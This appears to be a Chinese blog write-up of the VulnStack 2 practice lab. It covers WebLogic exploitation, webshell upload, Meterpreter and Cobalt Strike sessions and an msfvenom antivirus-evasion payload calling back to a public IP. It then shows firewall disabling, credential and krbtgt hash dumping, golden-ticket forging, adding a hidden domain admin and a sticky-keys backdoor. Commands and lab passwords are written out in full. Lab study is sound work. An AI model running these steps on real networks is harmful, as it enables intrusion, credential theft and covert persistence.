VulnStack 2


vulnstack 2 靶场,练一下,学习一下

环境配置

同样地,各虚拟机配置:

1
2
3
WEB WinServer2008 x64
PC Win7 x32
DC WinServer2012 x64

这边WEB机的服务器登录的时候会显示密码错误,需要恢复一下快照才能够正常执行

配置网卡:

内网VMet2的子网地址为10.10.10.0

VMet8还是使用NAT模式,子网地址192.168.239.0

然后配置一下网卡:

WEB跟PC两张网卡,一张外网一张内网

这边由于作者写了它的公网ip段是111,所以这边改一下,改成了192.168.239.80,默认网关改为192.168.239.0

PC机和WEB一样

PC:

WEB:

DC就只用一张网卡:

然后到WEB机,打开C:\Oracle\Middleware\user_projects\domains\base_domain\bin

以管理员身份分别运行setDomainENVastartManageWeblogicstartWeblogic

汇总一下配置:

1
2
3
4
5
6
7
8
9
10
11
12
WEB: 对外的服务器
192.168.239.130(修改前为80)
内网ip: 10.10.10.80

PC: 域成员
192.168.239.129
内网ip: 10.10.10.201

DC: 域控
内网ip: 10.10.10.10

密码更改为了hongrisec@2019

开打

信息收集

拿kscan扫一下WEB服务:

可以看到开了

1
2
3
4
5
6
mssql 1433
netbios 139
3389
445
7001
80

其中7001是weblogic服务

访问一下:

这里直接访问是Error404,这里可以简单开扫一下:

扫到console可以进

weblogic 10.3.6.0

外网打点

拿liqunkit看看能不能爆weblogic

传一下冰蝎的webshell,liqunkit好像不太行,这边换WeblogicExploit(java端的我喜欢用冰蝎)

GitHub - sp4zcmd/WeblogicExploit-GUI: Weblogic漏洞利用图形化工具 支持注入内存马、一键上传webshell、命令执行

连接一下

可以上线msf了

这边还可以利用冰蝎反弹shell

按照冰蝎上面的方法操作msf就行了

这边选2333端口打过来,meterpreter连上了

如果用传统的shell执行来弹msf,发现不行,怀疑有杀软。

这时候tasklist一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
映像名称                       PID 会话名              会话#       内存使用 
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 24 K
System 4 Services 0 368 K
smss.exe 256 Services 0 1,032 K
csrss.exe 344 Services 0 5,456 K
wininit.exe 396 Services 0 4,728 K
csrss.exe 408 Console 1 23,676 K
winlogon.exe 444 Console 1 5,404 K
services.exe 500 Services 0 8,604 K
lsass.exe 516 Services 0 13,352 K
lsm.exe 524 Services 0 5,884 K
svchost.exe 632 Services 0 8,996 K
vmacthlp.exe 692 Services 0 4,192 K
svchost.exe 724 Services 0 8,096 K
svchost.exe 780 Services 0 13,364 K
svchost.exe 872 Services 0 33,556 K
svchost.exe 956 Services 0 13,408 K
svchost.exe 996 Services 0 10,592 K
ZhuDongFangYu.exe 276 Services 0 20,240 K
svchost.exe 364 Services 0 16,388 K
svchost.exe 1068 Services 0 13,600 K
spoolsv.exe 1216 Services 0 10,776 K
svchost.exe 1276 Services 0 9,204 K
sqlservr.exe 1448 Services 0 82,560 K
SMSvcHost.exe 1468 Services 0 23,892 K
ReportingServicesService. 1592 Services 0 63,036 K
sqlwriter.exe 1864 Services 0 6,284 K
VGAuthService.exe 1896 Services 0 8,408 K
vmtoolsd.exe 1932 Services 0 19,804 K
svchost.exe 1956 Services 0 10,392 K
fdlauncher.exe 2124 Services 0 3,524 K
svchost.exe 2188 Services 0 6,792 K
WmiPrvSE.exe 2220 Services 0 12,208 K
svchost.exe 2296 Services 0 5,760 K
dllhost.exe 2460 Services 0 11,268 K
fdhost.exe 2528 Services 0 4,880 K
conhost.exe 2536 Services 0 2,548 K
msdtc.exe 2584 Services 0 7,880 K
taskhost.exe 3036 Console 1 7,144 K
dwm.exe 2280 Console 1 4,876 K
explorer.exe 2500 Console 1 49,280 K
vmtoolsd.exe 1564 Console 1 15,560 K
360Tray.exe 2768 Console 1 51,708 K
SoftMgrLite.exe 3452 Console 1 21,932 K
cmd.exe 2476 Console 1 2,636 K
conhost.exe 3288 Console 1 4,968 K
iexplore.exe 2212 Console 1 23,868 K
wdswfsafe.exe 3868 Console 1 12,228 K
iexplore.exe 3164 Console 1 38,360 K
cmd.exe 948 Console 1 3,256 K
conhost.exe 2744 Console 1 4,292 K
java.exe 3004 Console 1 203,764 K
cmd.exe 1672 Console 1 3,516 K
conhost.exe 4956 Console 1 2,640 K
tasklist.exe 4904 Console 1 5,572 K

然后复制到:

Windows杀软在线对比 (saucer-man.com)

发现了360

这边把冰蝎的shell派生给cs

1
2
3
4
5
6
7
8
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost vps_ip
set lport 2333
set session 1
run

发现不行,java的派生不了给msf?

那接下来就两条路了,一是拿msf打

二是做免杀,然后派生cs然后getshell

总之先看msf打法:

内网信息收集 (1)

先看域信息

ipconfig :

发现10.10.10.0网段

systeminfo:

net view失败:

确认域内电脑:

shell直接给我弹出去了,无敌

想getsystem,根本不行

得,java的反弹shell根本不行,还是得去做免杀

免杀

用msf自带的自捆绑+编码方式尝试

  • 自捆绑:使用msfvenom的-x参数可以指定一个自定义的可执行文件作为模板,并将payload嵌入其中,-x后跟对应文件路径即可

  • 编码:使用msfvenom --list encoders可以查看所有的编码器,评级最高的就是cmd/powershell_base64x86/shikata_ga_nai

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=106.52.94.23 LPORT=2333 -e x86/shikata_ga_nai -x Medicine.exe -i 15 -f exe -o payload4.exe

吗的,还是被发现了,这360这么牛逼

用ShellCode_Loader也被拦。。。

服了。。 可能是病毒库更新了

寄,还真是。2024年3月22的了

那这边只能手动通过一下了,我操了

内网信息收集(2)

getsystem好像不行。只能先收集点信息

域控:

用户:

域管:

传fscan扫内网,淦,冰蝎传不上:

试试蚁剑打内存马

可以了,蚁剑能正常传fscan

之前有个10.10.10网段的,开扫

?不给运行???

算了

那就搭socks代理进去吧

添加路由是为了让msf内的模块能够访问到内网服务,而搭socks代理能够让我们的软件访问到内网

添加路由

1
2
run autoroute -s 10.10.10.0/24
run autoroute -p #查看路由状态

添加socks4

1
2
3
use auxiliary/server/socks_proxy
set version 4a
set srvhost 127.0.0.1

这里先background一下,后面用sessions -i session_id

加完之后就可以用nmap扫了,也可以用msf里的auxiliary/scanner/udp_probe进行探测

这个udp_probe慢的一批,我只能说

如果用其他软件对内网进行扫描的话要加proxychains4

通过proxychains4进行nmap扫描必须要添加以下参数

1
2
-sT 全开扫描,完成三次握手
-Pn 不使用ping
1
proxychains4 nmap ip -sT -Pn -p

这里我的是3.1,所以改成proxychains

这里测试以下前面udp_probe爆出来的53端口来验证是否代理成功

不是system权限,kiwi爆不出来

总结一下:

1
2
3
4
5
6
7
8
9
10
11
12
ipconfig 发现10.10.10.0内网网段
systeminfo 找到了3个补丁,x64的pc
Domain: de1ay.com
域控叫 DC
域内还有PC WEB两台电脑
域内的用户有Administrator de1ay krbtgt mssql
域管是Administrator

扫到了10.10.10.10
10.10.10.80(外网机)

10.10.10.10 开启了123 137 53端口

派生cs

1
2
3
4
5
6
7
8
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost vps_ip
set lport 2333
set session 1
run

弹过来了

权限提升

试试提权,这里得把360关了,服。这就是最新病毒库吗

不然就是提不了一点

关闭防火墙

1
shell netsh advfirewall set allprofiles state off

导出哈希,logonpasswords

导出了Administrator的密码和mssql的密码:

1
2
Administrator hongrisec@2019
mssql 1qaz@WSX

这里爆出了SID为500的域管账号(也就是Administrator)

横向移动

201机子还没被扫出来,太神奇了

这边先拿DC,用爆出来的管理员hash横向移动:

这里是拿下DC了,但是PC还是扫不出来。。。?

这就很离谱

总之拿下DC之后进行权限维持

黄金票据

如图,cobalt strike已经给你准备好了

说到黄金票据那就不得不说Kerberos协议

Kerberos协议其实是windows的一个域认证常用协议

其大致流程如下:

  • 登录:客户端用户A输入用户名密码
  • 认证:系统验证用户A身份
  • 授权:系统授权客户端用户A访问服务S
  • 请求服务:客户端用户A服务S发送请求

其中参与到的角色有:

  • Client:Application Client应用客户端
  • AS:Authentication Server 认证服务器,用于认证用户身份
  • TGS:Ticket-Granting Service 用来授权服务访问
  • SS:Service Server 用户请求的服务S

打个比方,整个过程就是:你想坐飞机,但是机场告诉你必须有机票(TGT)才可以登机,接着你去购票处(AS)出示身份证(Client name)购买了一张机票(TGT),你拿着机票登机,在检票处(TGS)出示机票,服务人员告诉了你的座位号(Ticket),然后就可以坐到自己的位置上。

黄金票据的大致原理就是伪造krbtgt用户的TGT票据,krbtgt用户是域中的用于管理发放票据的用户,如果拥有了它的权限,就可以伪造系统中的任意用户

前提条件:

  • 已经获得DC的管理员权限
  • 获取到krbtgt用户的hash值

需要的东西:

  • sid
  • krbtgt的密码hash值
1
2
3
4
//获取自己的sid值,下面都可以
shell whoami /user
shell whoami /all
shell wmic useraccount get name,sid

当然,logonpasswords之前就已经爆出来了:

1
S-1-5-21-2756371121-2868759905-3853650604-500

然后爆krbtgt的密码hash值,其实就是hashdump(这里要在DC机上爆)

1
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::

在web机生成黄金票据

在web机查看域控的C盘

1
2
3
shell dir \\10.10.10.10\c$
或者
shell dir \\DC\c$

看一下扫不出来的PC能不能看

然并卵

拿到黄金票据之后还可以进一步操作,生成一个影子域管理员

1
2
shell net user test$ 123Adf.. /add /domain
shell net group "domain admins" test$ /add /domain

粘滞键后门

这个用msfconsole里的post/windows/manager/sticky_keys就行了,但是要有DC的system权限